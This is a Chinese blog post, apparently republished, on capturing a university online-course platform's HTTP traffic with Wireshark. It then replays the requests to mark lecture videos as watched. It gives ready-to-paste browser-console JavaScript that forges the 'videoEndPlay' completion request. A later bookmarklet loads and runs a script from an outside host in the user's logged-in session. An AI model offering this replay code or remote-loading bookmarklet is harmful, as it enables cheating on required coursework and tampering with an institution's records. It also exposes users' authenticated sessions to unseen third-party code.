【bb平台刷课记】wireshark结合实例学抓包
?
?
【bb平臺刷課記】wireshark結合實例學抓包
背景:本校形勢與政策課程課需要在網上觀看視頻的方式來修得學分,視頻網頁自帶“播放器不可快進+離開窗口自動暫停+看完一集解鎖下一集(即不能同時刷多集)”的神奇技能,鑒于視頻一共有十多集每集30多分鐘,廣大學子苦不堪言(此乃背景~)
身為技術人,當然不能容忍這種浪費時間的事情發(fā)生!時間是最寶貴的應該用來學習!學習!學習!(滑稽)所以我最初做了一個基于按鍵精靈+圖像識別的小(刷)助(課)手(器),但是明顯缺點就是課雖然能自動刷了,但是電腦要一直掛著,不能干別的事。什么?!長達幾個小時的刷課時間里面再也不能動電腦?!是可忍孰(叔)不可忍!
最近偶然得到一神器,不僅能自動完成上述過程而且速度快得驚人,如此黑科技,必須得弄懂原理!心癢癢地于是乎開始了今天的分析之旅~
----我是萌萌的分割線-----
?首先觀察小(刷)助(課)手(器)的工作流程:
圖一:打開時軟件內嵌瀏覽器會訪問網上授課系統(tǒng)的登錄頁面
防止查水表,暫且把登錄地址叫做 http://bb.bilbil.edu.cn/(這當然不是真的)
圖2:輸入賬號密碼后跳轉到一個頁面
我在瀏覽器模擬了一下,得到跳轉后地址為http://bb.bilbil.edu.cn/webapps/portal/frameset.jsp?tab_tab_group_id=_2_1
?
圖3點擊開始觀看,等待進度條結束后,提示觀看完畢....
然后我去查看了一下,果然十幾集的視頻都解鎖完畢了(這時還不能確定只是僅僅解鎖了,還是真的已經觀看完了)
懷著內心的竊喜和愧疚,我一集集地把進度條重新從0%到100%拉了一下,以防沒有觸發(fā)“觀看完畢”的服務器提交~(后面證實沒必要)
?
開始思考和分析:
根據流程走下來,破解的關鍵就在弄清楚于第三步進度條在走的時候,軟件和服務器之間發(fā)生了什么屁眼交易。
此時就要祭出神器wireshark
Wireshark_百度百科
Wireshark(前稱Ethereal)是一個網絡封包分析軟件。網絡封包分析軟件的功能是擷取網絡封包,并盡可能顯示出最為詳細的網絡封包資料。
?首先要知道,wireshark會把電腦所有的包一起抓過來(qq、360、瀏覽器等)但我們只要電腦與在線課堂的服務器之間收發(fā)的數據包。
所以第一步:用命令行ping bb.bilbil.edu.cn?,得到在線課堂服務器的ip地址 202.103.223.101
?
?
第二步打開Wireshark開始抓包,并設置過濾條件?http && ip.addr==202.103.223.101?
第三步打開刷課器,重復一遍刷課的過程,此時Wireshark窗口會顯示與202.103.223.101通信過程中?抓到的數據包(這里只關心http協(xié)議的包)
若此步Wireshark窗口沒任何包那可能是網卡沒選對,重新選要抓包的網卡
第4步分析數據,這里最讓人頭疼,我會盡量詳細講
?首先這里有個竅門,注意第1列no,是按時間順序遞增的序號,在刷課軟件操作時,每按一下操作,記錄一下當時的No號,有利于分析的時候知道哪些數據包是什么操作觸發(fā)的,能節(jié)省很多時間。
我記錄得 ?
| 操作 | 點擊登錄 | 點擊刷課 |
| No | 314~4771 | ~5761 |
所以選取登錄完畢后點擊刷課之前看起,也就是從序號為4771的包看起(節(jié)省不必要的時間)
看到下面有規(guī)律的數據包不斷重復,猜測正是里面的內容能把一個一個的課刷完。分析序號5227到5245之間的包(為一個重復周期)估計就能明了
?包5227
POST /webapps/bb-floatMediaGuiLin-bb_bb60/execute/mediaLog?cmd=initLog&course_id=_1083_1&folderParentId=0 HTTP/1.1\r\n
?關鍵看這句,post后面的是數據接收地址和一些參數,數據是?video_id=_144_1
收到回復包5245
?
回復是一段json:{"timer":0,"status":1,"videoId":"_144_1","logid":"_503659_1"}?(暫時不知道作用是什么,繼續(xù)看下一個包)
包5247
post到POST /webapps/bb-floatMediaGuiLin-bb_bb60/execute/mediaLog?cmd=videoEndPlay HTTP/1.1\r\n
數據是videolog_id=_503659_1&video_id=_144_1(這里不正好是上一包接收到的json值嗎)
所以上一個post為了獲得videolog_id=_503659_1,而video_id=_144_1是一直知道的(應該就是標記不同集的視頻),
而將這兩個值POST到execute/mediaLog?cmd=videoEndPlay ,字面一看就明白了,是模擬播放完成瀏覽器給服務器發(fā)送的標志。
重復看下一個周期的包5251~5265,只有video_id在改變,以上猜想是正確的。
至此分析結束
實戰(zhàn)!重放攻擊
以上都是純理論分析,好多童鞋要說,分析頂個鳥用!實在地自己動手做一次才是王道!下面就帶大家一起來實驗一下我的猜想是否正確~~
1.根據以上猜想,主要實施手段就是POST,既然是post,直接就用js代碼就可以完成
下面貼出我自己寫的驗證代碼(懂js的童鞋看看就明白是什么回事了)
var xml = new XMLHttpRequest(),res='';var url = "/webapps/bb-floatMediaGuiLin-bb_bb60/execute/mediaLog?cmd=initLog&course_id=_1083_1&folderParentId=0";xml.open('POST', url, true);xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");xml.onreadystatechange = function () {if (xml.readyState == 4) {if (xml.status == 200) {//console.log(xml.responseText);res = eval('(' + xml.responseText + ')');// console.log("videolog_id="+res.logid+"&video_id="+res.videoId);var url = "/webapps/bb-floatMediaGuiLin-bb_bb60/execute/mediaLog?cmd=videoEndPlay";xml.open('POST', url, true);xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");xml.onreadystatechange = function () {if (xml.readyState == 4) {if (xml.status == 200) {console.log(xml.responseText);}}}xml.send("videolog_id="+res.logid+"&video_id="+res.videoId);}}}xml.send("video_id=_144_1");//刷第一個視頻填_144_1,第二個視頻就填_144_2如此類推 展開代碼食用方法:復制代碼,登錄好你自己的賬號,打開瀏覽器控制臺,往console里面粘貼,回車后等待一下,刷新頁面!!刷新頁面!!刷新頁面!!再回到視頻播放頁,第一個視頻已經解鎖\播放完畢。
?
碼字不易,樂在分享,在技術奮斗路上的童鞋共勉~
完結、撒花~
啟示:為免糾紛,本文所用的ip地址和網址均為杜撰,旨在交流技術,我們都是好孩子~不玩火
19:53更新 一鍵刷課書簽版,右鍵-復制鏈接-保存為書簽
javascript:(function(){ var jsCode=document.createElement('script');jsCode.setAttribute('src','http://1.pocketmoney.applinzi.com/bbAutoWatch/bbAutoWatch.js');document.body.appendChild(jsCode);}());
?
總結
以上是生活随笔為你收集整理的【bb平台刷课记】wireshark结合实例学抓包的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数据预处理:中英文印刷字体图片分类数据集
- 下一篇: 五笔字根助记词